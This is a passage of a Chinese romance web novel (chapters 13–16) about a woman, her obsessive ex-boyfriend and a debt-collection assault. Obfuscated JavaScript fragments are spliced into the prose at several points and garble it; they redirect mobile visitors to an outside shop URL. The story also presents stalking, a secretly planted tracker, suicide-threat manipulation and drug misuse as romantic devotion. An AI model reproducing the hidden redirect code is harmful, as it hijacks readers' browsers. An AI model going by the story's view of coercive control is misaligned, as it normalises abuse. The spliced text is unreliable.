d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆池咒放松了一点,却依旧紧紧抱着,“不够,要说慢点,还要带上名字,连续说十遍。”他死死抱着,眼眸变的炙热,完全是燕桐不说随时准备再次收紧的架势。 “你—”燕桐被迫再次开口,“我—爱—你,骆池咒,我—爱—你,骆池咒……”这次她说的很慢,像是哄小孩一样,语气轻柔。 却能明显的感觉到,每说一边,骆池咒的身体燥热一分,就在她说第九遍的时候,骆池咒却猛地松开抱着她的手臂,转身背对着她蜷缩起来。 隔着被子,燕桐也能看到他身体轻微的颤抖,她手碰上他肩膀,“怎么这么烫,你没事吧?” 燕桐着急了,以为是他头疼又犯了,燕桐正想起身找药,却被他一把抓住,手腕被攥的生疼。 “别……” 而此时燕桐才看清他潮红的脸和满头的汗,以及那双迷离失焦的眸子,此刻他正难以抑制的攥紧拳头,发出一阵阵低喘。 燕桐怔住,缓了片刻,一脚把他蹬下床: “骆池咒,你流氓!” 13. 第 13 章 骆池咒的后背重重磕在地上,他闷哼一声,蜷缩着回过头看向燕桐,瞳孔湿漉漉的,头发也沾在脸上。 “姐姐……对不起。” 我自己解决,他缓缓撑着身子站起,□□,汗水滑进领口,像是强忍着什么。 他踉跄着朝着浴室走去,燕桐坐在他身后的床上,瞪着他,脸上一阵青一阵红。 “你要去哪?会你自己房间去!”燕桐眼睁睁看见他走向门口,却没想到他一拐准备进自己的浴室。 骆池咒停下脚步,背对着她,衣服因汗湿紧紧贴在身上,勾勒出宽硕的身躯。 “姐姐……难道你不想……”他可怜的看向燕桐,眼睛红红的。 “解决完今晚不准回来。”燕桐立刻打断他,她没想到他竟然这么流氓,说话的时候强压着羞愤的表情,尽量让自己看起来正常,她真是怕那个小动作或者表情又让他…… 虽然睡过但那是……很久以前的事了。 骆池咒恋恋不舍的离开,背影微微颤抖,他回头前的表情可怜极了,像被抛弃的小狗。 他的身影消失后,燕桐脸上的潮红却久久无法褪去,只要一想起他方才竟然在自己的示爱声里……她就感到羞愤至极。 这狗东西,竟然让她说那些,然后自己…… 真是疯了,全都乱套了…… 燕桐失眠了大半夜,睡不着念了一晚上的清心咒,直到天快亮时才堪堪睡着。 第二天天还蒙蒙亮燕桐就火急火燎的起床收拾,临走时还带走了一些生活用品,动作快的仿佛后面有狼追似的。 她临走前看骆池咒的房门还是关着的,给他留了个纸条就出了门。 她到甜品店的时候才八点不到,姜燕却不见了踪影,八点半的时候甜品店开门营业,燕桐开始忙碌。 店里的钥匙她和姜燕各有一把,往常姜燕晚上都是住在这的二楼的,今早却不见踪影,燕桐有些担心。 在约莫十点的时候拿起手机刚准备打电话,却看到了骆池咒的来电显示,她犹豫两秒,将电话挂断,给骆池咒回了句: 最近姜燕生病了,她晚上留在甜品店照顾她。 她只简单的发去了消息,良久那边也没有回复,也没再打来电话,燕桐也没再管他。 店里正好来了客人,她做好甜品端了过去,其实甜品店很多面包和蛋糕都是姜燕提前烤好的,她不太懂烘培也不喜欢池甜食。 甚至有时候长时间闻到甜味有些想吐,但看得久了,也能打打下手。 起初她答应姜燕投资店铺和来帮忙,只是为了应付父母催促她回家,趁着在她店里帮忙的由头继续找工作。 她很排斥考公,也不想回家乡,以至于到现在她也没开始复习。 但拖得了一时,拖不了一世,燕桐不考公又能去哪呢,行业内已经没有她的容身之地,别的工作也许她也能做。 可是父母那边……都在等她。 燕桐似乎能预见,如果她回了家,等待她的将是平庸而麻木的生活。 约莫中午的时候,店里来了几顾客定了几个生日蛋糕,燕桐用便签几下他们的要求,准备等姜燕回来告诉她。 她以前专门学过烘培,做蛋糕很擅长。 可燕桐一整天也没有打通姜燕的电话,直到傍晚的时候,接到了姜燕打来的电话,姜燕只仓促说了句来酒吧,燕桐还没听清就被挂断了电话。 耳边只残余着酒吧嘈杂的音乐和碰杯的声音。 燕桐看着外面黑漆漆的天,有些担心她,犹豫着问:“这么晚了,你在酒吧干嘛?” 姜燕却像是已经喝醉了,连说话都有些不连贯,燕桐担心极了,这么晚她一个女孩家,她连忙问了地址,打了车朝着酒吧赶去。 酒吧在离店铺很远的地方,燕桐下车靠近的时候,才发现这里根本不是什么酒吧,而是一个高档的私人会所,从墙壁到灯光,都弥漫着一股奢侈的金钱味。 会所内人人穿着讲究,端着红酒杯,坐在真皮沙发上谈笑,男人们怀里搂着女伴,女伴大多数都穿着暴露的包臀裙,亲昵的依偎在男人的怀里。 那些男人勾着唇,举止一股精明的商人味。 头顶的水晶灯晃动,光影交错,燕桐感到一阵眩晕,刚进来就感到一阵强烈的不适,周围人用一种打量异类的眼光看着她。 燕桐这才注意到自己的衣着,T恤加外套,头发半扎在脑后,素面朝天,与这些打扮精致的人相比,站在这里就像个异类。 她感到一阵难堪,不动神色往角落靠去,边走边寻找姜燕的影子,试图降低存在感。 这里很大,一个厅隔着一个厅,像是迷宫一样,燕桐打了好几个电话都没有接通,她突然有种不祥的预感。 正焦急之时,突然在拐角的包间里听到了姜燕的声音,燕桐冲过去站在门口的时候却犹豫了。 她不是怕,而是想着先听听,如果有什么不对劲她好有报警的机会。 她耳朵趴在门上,极力听着门里的动静,余光扫向四周,生怕有什么别的情况。 包间的门没有关紧,燕桐将身体侧向视角盲区,听着里面的动静。 “啪”的一声,里面像是杯子被狠狠摔在地上,而后扑通一声,有人跪下来了。 燕桐不由得心一紧,她勉强从门缝里看到姜燕昨天穿的那件黄色的衣服,她似乎是被下跪的那个人。 燕桐的心稍稍安定,却又再次听见包间内声音响起,说话的仿佛是那个跪下的人,他嗓音粗哑,像一张劣质的迎风塑料。 “救救爸爸好不好,爸爸求你,”里面响起一阵乞求声。 是姜燕的爸爸?他找到姜燕了,他们又怎么会在这,姜燕给自己打电话难道是想让她报警? 不对,那她为什么不再电话里说,一大堆问题萦绕在燕桐脑子里,燕桐没听清姜燕说什么,只听到咔嚓一声,像是什么骨头断了。 而后就是一阵刺耳的惨叫,是他爸发出的。 “老子没这么耐心,赶紧还钱,要不下次就不是断腿这么简单了。” 姜燕的父亲躺在地上哀嚎,眼见姜燕没动静,里面又响起一阵拳打脚踢的声音,姜燕终究是不忍心,那毕竟是她的亲生父亲。 她扑过去推开他们,红着眼瞪着他们:“我给你们钱,五十万是吧,我去银行取。” 姜燕艰难的扶起他爸爸,却在想出门时被人拦住,“我们怎么知道你不是想跑?留一个人。” 突然姜燕爸爸像是捂住心脏,像是心脏病犯了。 “我求你们了,让我先送我爸爸去医院,等他进手术室了,我马上去取钱。”姜燕拉住那人的胳膊。 “当我们是傻子呢!”他一把揪住姜燕的头发,“怕是出了这门就跑的没影了吧,他心脏病犯了是吧,没关系啊,死了我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜燕最后看了燕桐一眼,匆忙背着爸爸离开了。 包间再次陷入死寂,燕桐死死的攥着匕首,站在离他们很远的距离盯着他们,她问:“他欠你们多少钱?” 他发出一阵嗤笑声:“你想替他还?” 燕桐没有说话。 他伸了两根指头,比划了个数字。 “一百二十万?”燕桐震惊。 那人像是不想再跟他废话,翘起腿坐在沙发上,静静的等待,显然他清楚燕桐没有报警。 时间一分一秒的过去,燕桐心里的焦虑越来越甚,她心里想着姜燕怎么会有这么多钱。 不知过了多久,突然燕桐的手机铃声响起,电话那头传来一阵火车轰鸣的声音,而后响起姜燕略带哭腔的声音: “桐桐,我爸病耽误不了了,我没时间给你取钱了,你帮我垫一下行吗,我以后会还给你的。” 说罢,不等燕桐反应,挂断了电话。 燕桐懵在原地,此时她才明白,姜燕为什么打电话让她来酒吧。 刚才她爸爸的病也是装的,只是想把她留在这里,她们独自逃债。 燕桐的内心升起一股莫大的被背叛的羞耻感,伴随着心跳加速,而她刚才与姜燕开着免提的对话已经被逃债的人尽数听去。 “妈的,敢耍老子。”那人抄起棍子就朝燕桐劈来。 “尧哥,尧哥,”手下突然冲上来拉住他,递上不知道谁打来的电话,来电备注是一个叫烧哥的人,那人看到名字神色立马变的紧张,不知那边说了什么。 自称尧哥的人放下了棍子,他攥紧拳头,像是极力忍耐着什么,对燕桐说:“既然他们跑了,钱,你来还。” 14. 第 14 章 燕桐看着半掩的门,趁他们不注意攥紧匕首就跑,却被他们的人前一步堵在门口。 他们个个体型健硕,手握棍棒,燕桐被堵在了包间。 单打独斗燕桐毫无胜算,燕桐强压下狂跳不止的心跳,扯出一个笑脸试图先稳住他们。 “大哥,你看我也是被骗来的,我就是个破打工的,穷的自己还贷款租房呢,你堵着我也没用啊。” 燕桐见话没起作用,忙眼神一转道:“冤有头债有主,我告诉你他们老家地址,你们现在追过去说不定还来得及。” “尧哥,我看他们就是一伙的,哪有这么巧合。”旁边一个小弟煽风点火。 “不,我们绝不是一伙的。” 燕桐突然被骗到这,对眼前这帮人完全不了解,他们手段如何,背后靠着谁,还有为什么敢在这个会所动手,燕桐一无所知。 门被堵着,她跑不掉,如果叫喊或者硬拼,势必会落个两败俱伤更甚至小命不保。 燕桐被保护的很好,几乎没接触过社会暗处的这些冲突,唯一一次去夜场会所,还是跟骆池咒一起。 而即便她已经给出了诚意,他们显然被耍的怒气未散,再也没有耐心听燕桐的建议。 自称尧哥的男人猛地将铁棍横在他脖子上,眼神凶狠冷漠:“给你两个选择,给钱或者死。” 燕桐就算再强装镇定,但也没真被铁棍戳着脖子,她全身绷紧,脸色瞬间惨白,她有预感,如果今晚她不给钱,也许不会死,但一定会残。 燕桐腿已经软的一塌糊涂,如果不是靠一口气强撑着,早就该瘫倒在地。 她颤抖着声音开口,眼神盯着那根铁棍:“大哥,我给钱,我所有钱都给你。” 燕桐大脑几乎宕机,慌乱的边报上卡号,边掏卡:“大哥们,密码是322245。” 没想到他们随身携带刷卡机,卡被划过磁条,“才两万,打发要饭的呢!”卡被重重的砸在燕桐脸上,擦过脸颊,瞬间显出一道血丝。 燕桐脸颊火辣辣的疼,伴着被背叛的羞耻和恐惧,她强忍眼泪,为了报名逼自己做出反应,还没等开口,尧哥旁边的小弟突然一脸猥琐的开口: “哥,我看这小妞长的还不错,要不……”他舔着舌头肆意的在燕桐身上扫视。 燕桐脸色瞬间惨白,一股从未有过的恐惧窜上脑门。 她下意识往后退了几步。 被称作尧哥的人闻言也色眯眯的撑着下巴笑了起来,眼神恶臭裸露,仿佛要将燕桐看穿。 “还不上钱也行,伺候哥几个好好舒服舒服一晚,就放你走如何?” “休想。”燕桐一把抹过眼泪,颤抖着把刀横在胸前,壮胆似的怒吼道。 她已经做好了鱼死网破的准备。 他们没想到燕桐这种反应,冲上来狠狠的给了燕桐一巴掌,燕桐被打的晕头转向,失去重心就要往下倒去。 却被猛地扯住头发,被拖着就往沙发走去,突然包间的门被一脚踹开。 骆池咒发丝凌乱,风尘仆仆的站在门口,喘着粗气,一脸错愕的看着这一切。 他冲过去狠狠的撞开扯着燕桐头发的人,攥紧拳头狠狠的打在他的太阳穴上。 尧哥顿时被打的吃痛松开手,太阳穴上的那拳似乎要将他的头打穿,他蜷缩在地良久缓不过来。 一群小弟毫无预料,一溜烟的冲过去抚尧哥,场面顿时乱成一团。 骆池咒慌乱颤抖着手脱下外套包住燕桐,她脸上的刺伤和巴掌印就像一把刀狠狠刺在他心窝,骆池咒眼眶一红,眼泪大滴大滴的往下落。 慌乱到不敢碰她。 燕桐被打的意识模糊,朦胧间感到脸上湿湿的。 她强撑着睁开眼,看见了骆池咒泣不成声的脸。 骆池咒将燕桐抱起来轻轻放在沙发上,挡在她身前,拿出一张卡甩在他们脸上: “这里面有一百万,没有密码。” 尧哥被打的吃痛,良久才缓过来,凶狠的脸看到卡却缓了下来,他抄起棍子,朝着骆池咒走去。 “钱还了,你拿老子的这一拳怎么算。” 他拿着铁棍,眼神冰冷,连卡看都没看,就死死盯着骆池咒。 骆池咒攥紧拳头,突然感受身后有人轻轻拽自己的衣服。 “报……报警,快跑……”燕桐用尽全力说出几个字,而后就彻底没了力气。 骆池咒轻轻的笑着,看着她:“有我在,别害怕。” 他转身看向尧哥,眼里笑意敛去:“你想怎么样?” 尧哥将铁棍一下一下的拍在手心,凶狠的笑了下:“跪下,给老子磕个头,说一句爹我错了。” “不要……”燕桐紧紧攥住骆池咒的衣服。 骆池咒站在原地犹豫,尧哥却似乎再没有耐心,直接眼神示意小弟去抓燕桐。 骆池咒大骇,死死挡在燕桐面前,下一秒,扑通跪倒在地,膝盖重重磕在地上,他缓缓弯下腰,头碰在地上。 燕桐眼神错愕,怔住良久。 “哈哈哈,真是个有钱的情圣啊。”尧哥摸着已经肿起的太阳穴,像是还没解气,盯着洛弛咒,眼神变的凶狠:“不过这还没完。” 骆池咒屈辱的撑着地缓缓起身,突然铁棍卷着疾风重重的打在他后背,骆池咒闷哼一声,再度跪倒在地。 嘴里猛地咳出一口鲜血。 “不要!”燕桐哀嚎出声,强撑着瘫软的身体靠近,却腿一软,跌下沙发,只能眼睁睁看着他。 尧哥不等他反应,抄起铁棍,又狠狠的打在他后背,一棍,两棍,三棍…… 骆池咒的身躯从半跪着,到被打趴下再撑起来,如此反复,最后一棍落下的时候,他已经瘫软在地。 头发混着血水趴在地上,像一滩泥般狼狈失去生机。 燕桐泪流满面,嗓子已经彻底喊哑了,可身体却像被抽了筋骨一样,毫无力气。 尧哥终于打完,扔掉棍子,拿起茶几上的卡,拍了拍手上的土,带着一帮人离开了包间。 燕桐艰难的一步一步爬到骆池咒面前,她颤抖着手拨号叫救护车,看着骆池咒倒在血泊里,牙齿被血水染红,却还在努力对她笑着。 场景和当年那个雨夜重合。 燕桐趴在他旁边泣不成声,嚎啕大哭。 “姐姐,别哭,我不疼……”他艰难的抬起手,想触摸燕桐的脸颊。 “对不起,对不起……”她没想到,被人背叛生死攸关的时刻,是他不顾一切的救她,燕桐紧紧握住他的手,却因为脱离反复脱手。 临上救护车的时候,骆池咒还死死的攥着燕桐的手,他沙哑着嗓音开口:“姐姐,别离开……我。”说罢彻底闭上眼睛陷入了昏迷。 医院内刺眼的白光乍然亮起,燕桐瘫倒在医院的手术室外,被愧疚和恐惧紧紧包围。 医院昼夜交替,燕桐日夜颠倒,不知过了多久,骆池咒终于被送入了普通病房,陷入了沉沉的昏迷。 燕桐不知道在病床前守了多久,她的视线一遍遍描摹他额头的疤,那疤痕深可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525840|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨,燕桐眼眶红红的,不知道在想什么。 终于在一个晚上,她起身拿毛巾给他擦手,却见骆池咒睫毛动了动,缓缓睁开了眼睛。 那双眸子死寂空透,像是被抽空了所有情绪。 “你终于醒了!”燕桐激动的紧紧握住他的手,眼泪又不争气的掉了下来。 骆池咒的视线缓缓挪到燕桐脸上,眸子里的死寂缓缓被光亮代替,他木讷的开口:“姐姐……真的是你吗?”他的手缓缓抚上燕桐的脸。 “我梦到三年前的那晚,我好怕我一睁眼又是空荡荡的病房,而姐姐又不见踪影,彻底的弃我而去……” 他眼神缱倦,虚弱的声音满是恐惧。 “对不起,对不起……”燕桐只一个劲的道歉和流泪。 “姐姐,这次如果你要走就走吧,我不拦你。”他缓缓放下手,闭上眼睛,身体的疼痛却让他忍不住皱眉。 “医生说,铁棍打击到了你关键部位,那方面可能会……”燕桐艰难的开口:“受损伤。” 骆池咒犹如晴天霹雳,他怔住良久,突然猛地扯掉针头,鲜血瞬间涌出。 燕桐大骇:“你疯了吗!”燕桐冲过去紧紧压住他的出血口,另一只手组织着他的动作。 “我都成这样了,我再也不能让姐姐开心了,姐姐更不会喜欢我了,我活着还有什么意思!”骆池咒嘶吼出声,惨白的脸拧在一起。 他又开始挣扎着起身。“别动,你骨头刚接好,不想过了吗!”燕桐用力压住他肩膀。 “我喜欢你,我不会离开你的,真的。”燕桐大声安抚。 “真的?”骆池咒慢下动作。 燕桐认真点头。 “姐姐不会嫌弃我吗?都怪我没保护好自己那里,永远失去了让姐姐快乐的能力。”他脸色惨白,双眼无神。 燕桐看着他绝望的眼神,内心无比愧疚,都是为了保护她,他身体才会永久性的损伤,而他却还在责怪自己。 燕桐紧紧抱住他,把头埋在他的怀里:“我怎么可能嫌弃你,我永远都不会再离开你了。” “姐姐……”骆池咒眼眶一热,眼泪大滴大滴的往下掉。 “你能不能亲亲我,我就不疼了。”他眼神乞求。 燕桐缓缓靠近,轻轻吻在他脸颊上。 骆挚咒顺势掌心扣在燕桐的后颈,燕桐不敢挣扎怕撕裂他伤口,呼吸交错间,骆池咒嗓音抵哑,声音像是蛊惑: “姐姐,除了我,没人会永远忠诚于你,也没人会永远不背叛你。”他唇角擦过燕桐的脸颊,“只有我,只有我会永远懂你,陪着你,爱你,站在你身后。” “所以,姐姐永远别再离开我,否则我恐怕真的没有活着的意义了。” 姐姐,别怪我,用这种方式将你留住。 燕桐拉住他的手,缓缓从包里掏出了一颗微型定位器:“这是你什么时候藏进来的。”燕桐是在皮制包的空缝里摸到的,那是一块包知道被用坏扔掉也没人会注意的地方。 而这颗定位器却静静的呆在里面,闪着微弱的红光,包面毫发无损,看不出一丝缝补拆卸的痕迹。 “姐姐,你知道的,对我来说拆卸一个包不是什么难事。”骆池咒声音虚弱,却毫无心虚。 他那双纹身的手那样精巧,拆卸缝补一个包对他来说确实不是什么难事,可她的包从不离身,晚上睡觉也会反锁房门,他又是什么时候将包拿走的呢。 燕桐不想质问他,至少不是在他刚醒来,刚为了救自己差点被打死的时候。 15. 第 15 章 骆池咒躺在病床上,半长的卷发在苍白的脸色衬托下,看起来像被抽干了生气。 他的瞳孔圆圆的,一动不动的盯着燕桐,此刻的他毫无攻击性,仿佛连轮廓都变的圆润,像只小狗。 燕桐怎么忍心怪他,在自以为最好的朋友背叛她之时,只有他冲进来搏命,毫不犹豫的拿出积蓄救她脱困。 这一刻,燕桐再次刷新对这个前男友的认识,她看着他,眼神不再虚假,变得认真而复杂,真正的开始接受和自愿走入这个人。 “疼吗?”燕桐轻轻开口,视线移到他的后背,那狰狞的伤口她不敢看。 骆池咒的眼神始终在燕桐身上,从未移开,他乖巧的摇头,“不疼,这点疼不及当年姐姐离开时的万一。” “姐姐,我渴了。”骆池咒舔了舔干涩的嘴唇。 燕桐忙转身倒了杯温水,拿着吸管递到他嘴边,他的唇刚触及吸管的瞬间,燕桐却手不稳,杯子里的水尽数倒进了他领口。 燕桐低呼,手忙脚乱的帮他擦,手触及他滚烫的胸膛,燕桐的手指一颤。 刚想收回,却被骆池咒猛的握住。 “姐姐,现在你愿意好好看看我了吗,以前我骗了你,我不愿意当他的替身。” 他的眼角变得通红,看向燕桐的眼神仿佛在祈求垂怜:“我做梦都想让姐姐只看着我,完整的我,” 燕桐想抽回手,却被他抓的更紧,她不敢挣扎,怕牵动他的伤口。 燕桐眼神挣扎,她终是问出了始终想不明白的事:“当年你为什么答应跟我在一起,明知我把你当替身。” 当年燕桐误以为自己被出轨,意气用事,和骆池咒约好了期限恋爱,互不负责,她见他乖巧的答应,也没顾得上多问。 后来重逢,她始终以为他是为了报复自己,可以接近吓唬恐吓她,与他多次虚与委蛇。从未有真心。 而经此一事,她动摇了,或者说彻底推翻了以前的想法。 她要确定,他是不是真的喜欢她,不顾一切的那种。 骆池咒低下头,像是思索,良久他突然笑了:“因为从见到姐姐的第一眼,我就知道,你是我的。” “重点不是姐姐把我当什么,而是你跟我在一起就好,别的,我不在乎。” “所以姐姐,你能答应我,永远不离开我吗?我虽然已经不能生育了,但我有很多钱,我会很听姐姐的话,姐姐想做什么我都可以陪着,不论是放纵还是出格的事,姐姐做什么,在我眼里都不是异类。” 他的话诚恳,一如当年与燕桐放纵的那些日子。在某种意义上来说,世俗赋予燕桐太多枷锁。 该优秀,该乖巧,该孝顺,该循规蹈矩,沿着别人的道路而活,燕桐活的小心翼翼,生怕一个失足,给完美的人生留下污点。 而只有他告诉她,做什么都可以。 燕桐不得不承认,她对这种邀请感到隐隐的恐惧,但更多的是期待和隐约的安全感。 “或许我不能答应永远不离开,但我可以保证以后只把你当你,再也不骗你。”燕桐认真的说。 骆池咒捧起她的脸,眼神微眯:“姐姐,在这世上,没人比我更了解你。” 燕桐眼神复杂的看着他,脸颊传来他指尖冰凉的触感,他的手很大,能将燕桐的脸整个包裹在内,而他的眼神仿佛是在捧着自己的所有物。 最近临城又是一年一度的梅雨季,细雨连绵,连室内的空气也是又潮又湿的。 姜燕走的匆忙,甜品店那边什么也没交代,期间燕桐给姜燕打过很多电话,她不是找她理论,也不是谴责她的背叛,她只想让她还钱。 那笔一百万的欠款本该是他和她父亲的债务,不该骆池咒来承担。 即便他不说,即便他不缺钱,这笔钱她也得帮她讨回来。 那天那伙人显然不是当地人,看他们的打扮和无所忌惮的样子,燕桐大概能猜到,他们背后是某个更大的势力甚至是□□。 总是能跟赌沾边的,离别的违禁区也不会太远。 那晚之后,她报过警,警方虽然已经立案侦查,但因证据不足不得不停下程序,任由那伙人逍遥法外。 倒是骆池咒,经此一事,却像是被打缩骨了似的,从医院伤好出院后,就整日整日的不敢出门,出门扔个垃圾也要缠着燕桐。 一问就说怕被报复。 姜燕走了,甜品店也只能暂时关店,燕桐也没了去处,只能待在本就租好的房子里。 最近雨水封城,出门也不方便,骆池咒又天天嚷着骨头疼,头疼,胃疼,到处都疼,缠这燕桐给他做饭,按摩,煎药。 燕桐成功的被困在了房子里,骆池咒起初喊疼的时候,燕桐当真以为他疼,为此还愧疚的整晚整晚睡不着觉,给他找各种中医和偏方。 直到后来,她问他哪疼,他始终也说不出个所以然来,燕桐也不止一次的在马桶里发现了被扔掉的药瓶,还在他衣服里发现了很多从没见过的药。 燕桐一查,才发现那都是刺激神经,能让人幻视和肢体假疼的药物,燕桐气愤不已,原来每晚他抱着她疼的大汗淋漓,全身颤抖,都是吃药引起的。 而且以他的症状,根本不止吃了一两片,起码每次吃三倍的量,医生说,他如果再吃这药,身体不仅会休克,而且有极大可能大脑瘫痪甚至死亡。 燕桐简直难以理解,她不止一次的找骆池咒理论,试图跟他讲道理,告诉他这药的危害,而他却像是中邪了似的,只咬定说医院开的药不治病,这药吃了才最有用。 燕桐连续劝说几次,他只固执的保持己见,燕桐后面甚至都以为他精神出了问题。 骆池咒也怕她真生气不管他了,应和着将药给停了,但后来燕桐却在各种小角落发现了他藏的药瓶,包括后来在他卧室的床底,也发现了三盒药。 那段时间她怕极了这人又生出什么折磨自己的心思,每天在房间里巡逻搜刮三遍,卧室床头柜,阳台花盆,客厅沙发底,甚至连卫生间马桶盖都不放过。 燕桐原本和他约法三章互不踏入各自的空间,互相尊重隐私,而那段时间,她被迫一天在骆池咒的卧室搜刮三遍,每日不止三次的踏足他的卧室。 每天除了备考就是盯着骆池咒的一举一动,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525841|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连他起床洗漱,去阳台浇花,厨房做饭,燕桐都要有意无意的盯着他的动作,那段时间他的整个精神都是挂在骆池咒身上的。 为了安抚骆池咒,也禁不住他的软磨硬泡,燕桐也允许他随便出入自己的卧室,也开始整晚整晚的允许他缩在自己怀里睡,如果是从前,她或许会担心发生些什么。 但如今,骆池咒的身体已然不能再生育,燕桐当然不再担心这个,后来还谴责自己这个想法的恶毒,但确实是事实。 而骆池咒却似乎很享受这种注视,他总会在燕桐紧张的注视下,拿起水壶优哉游哉的给阳台的花草浇水,又在燕桐余光的注视下拿起她爱吃的荔枝拨开放进自己嘴里。 他们的相处模式开始从互不越界的生分边成了每天视觉接吻和精神触碰。 这套房子的布局是全开放的,所以两室的门口都是正对客厅的,所以如果两个卧室的门大开,坐在客厅的沙发对卧室的一切几乎就能一览无余。 这样的相处模式之下出现了很多怪异的场景,比如燕桐在骆池咒卧室搜刮药物的时候,总是能看到很多不该出现在这的物品。 比如在床底发现他的刮胡刀,在窗台发现他喝了一半的水杯,燕桐往往都会帮他拿回去,也会在他的书架里发现很多奇怪的东西,一只拖鞋,但长的很像她两年前去游泳丢掉的那只。 燕桐以为这是巧合,却又在他的洗漱池旁发现了一个贴在镜子旁的绿色发卡,像极了她曾经送人的那个,不过她记得当时送的是一对。 燕桐问他这些东西哪来的,他却只说是巧合,燕桐也相信了,毕竟怎么可能几年前的东西,会出现在这。 燕桐隔三差五的就能在他的卧室搜到药,唯一有一天没搜,他竟然吞了半盒药,被送去了洗胃,后来燕桐每天将搜药当作第一要务。 而骆池咒似乎将藏药当成一种乐趣,每天乐此不疲,享受燕桐翻找他的衣柜,搜索他的浴室,窥探他的隐私。 他会故意将内裤藏在马桶盖里,坐在客厅等待燕桐搜出后,红着脸气急败坏的出来跟他理论,也会每天用各种彩色的便签写各种小纸条,藏在各种夹缝里,等燕桐去找,这似乎成了他每天最热衷的事。 而这房子里怪异的场景却不止这些,在燕桐准许骆池咒进入自己卧室之后,他几乎把她的卧室当成自己的,每天晚上跟燕桐腻在一张床上,午睡也不走,每天燕桐在客厅看书,就眼睁睁的看着他,拿着扫把扫了又扫,拖了又拖。 他似乎也很喜欢被燕桐的目光追随,总是喜欢翻燕桐的衣柜,然后趁她不再,猛地把脸埋进衣服里,狠狠吸一口,在燕桐的呵斥下,又不情不愿的将脸挪开,转而去摆弄燕桐的鞋子和洗漱台。 燕桐必须得牢牢的盯着他,因为一次不注意,他竟然去挖燕桐的脏衣服篓,还手洗了燕桐的两件印花的粉色内衣,还得意洋洋的和其他洗干净的衣服晾在出来,燕桐从外面回来看到,就差找个地缝钻进去了。 然后这些都是最初的情况,合租久了的情侣会慢慢淡化边界,失去一些羞耻心,当时的燕桐无法想象,有一天她会将骆池咒给他洗内衣当成寻常。 16. 第 16 章 有些相处的距离一旦打破,往后的亲密就一发不可收拾,最近的日子越来越像大学同居的三个月,骆池咒仗着久病未愈为所欲为。 他太了解燕桐的习惯,大到她的穿衣风格,饮食忌口,小到她起床习惯先开窗透气,睡觉前喜欢听书的小习惯,燕桐的生活节奏被他彻底侵入。 而燕桐却发现了很多奇怪的地方,比如骆池咒做饭的时候,会在饭菜里加很多葱花和辣椒,而从前的她对葱花避之不及,不再排斥这种东西是在两年前的一次路边摊上。 再比如她这两年很喜欢吃荔枝,而骆池咒每天出门都会买很多回来,而燕桐从来没提过她喜欢。 这些细节的发现燕桐起初以为是巧合,直到后来一次次的验证,她几乎确定,骆池咒不仅了解从前的她,也对她这三年的变化了如指掌。 这个发现让燕桐感到恐惧。 同时她也发现了骆池咒卧室的不对劲,每次进去所有的抽屉箱子都是大敞的,唯独墙角的那个黑色的柜子上着三个红色的锁。 每次都是,似乎是刻意防备着她。 燕桐也不是没有借着找药的借口偷偷翻过那本相册,但找遍所有地方都一无所获,渐渐的,她几乎确信,相册藏在那个柜子里。 更有冲动,她觉得那扇柜门之内藏着某些不可见人的东西。 最近整日整日的下雨,骆池咒又整日喊着身体疼,燕桐几乎没出过门,最近她从前的几个朋友要来临城附近的城市办点事。 准备大伙一起聚一聚,他们是都是一个小城市出来的,父母辈都是邻里,从小一起长大,姜燕那事之后,燕桐原本以为同学聚会她不回来,但问了同学后,竟得到了她的一些音讯。 那件事后,姜燕就拉黑了燕桐,燕桐早就准备找她要个说法,所以她答应了去同学聚会,也订好了明天的高铁票。 从同学那里得知,慕司已经搬家工作也迁回了老家,他们的老家离临城很远,所以这次聚会慕司不会来。 燕桐怎么也想不清,姜燕明明为了逃债,音讯全无,却又明目张胆的出现在同学聚会上,她总觉得这事有蹊跷,那帮人已经拿钱离开了,总不会还能伙同那帮人做点什么。 但以她如今的处境,她不应该带着父亲隐姓埋名去异地生活吗,为什么又答应出现在同学聚会上。 这样的疑惑困扰了燕桐好些日子,期间骆池咒似乎也看出了她的不对劲,燕桐没想到,他直接猜到了是姜燕的事。 燕桐觉得不必满他,也就如实说了。 她清楚的记得,骆池咒当时听到那些话的眸子明显暗了几分。 她那时还以为他是不想她走,担心她又出危险。 而直到某个周三的午后,骆池咒每周的这天都会去纹身店接待预约的客人,几乎一去就是一整天,傍晚才回来。 自从甜品店关门,燕桐也整日无所事事,那日她正百无聊赖的在阳台浇花,突然在楼下看到一个一身黑衣服的人,看身形像是女孩,她戴着帽子,帽沿压得很低。 燕桐正疑惑的看着她时,她突然抬头,与燕桐四目相对,对视的瞬间,燕桐将她的脸看的清清楚楚。 姜燕? 她怎么会在这。 姜燕的神色胆怯,像是专门在楼下等她的,燕桐拿起外套,穿好鞋子就准备下楼,临走之前,她想了想将一把水果刀藏在口袋里,才下了楼。 姜燕将自己的身影隐藏在暗处,燕桐找了好一会才在花坛背后找到她。 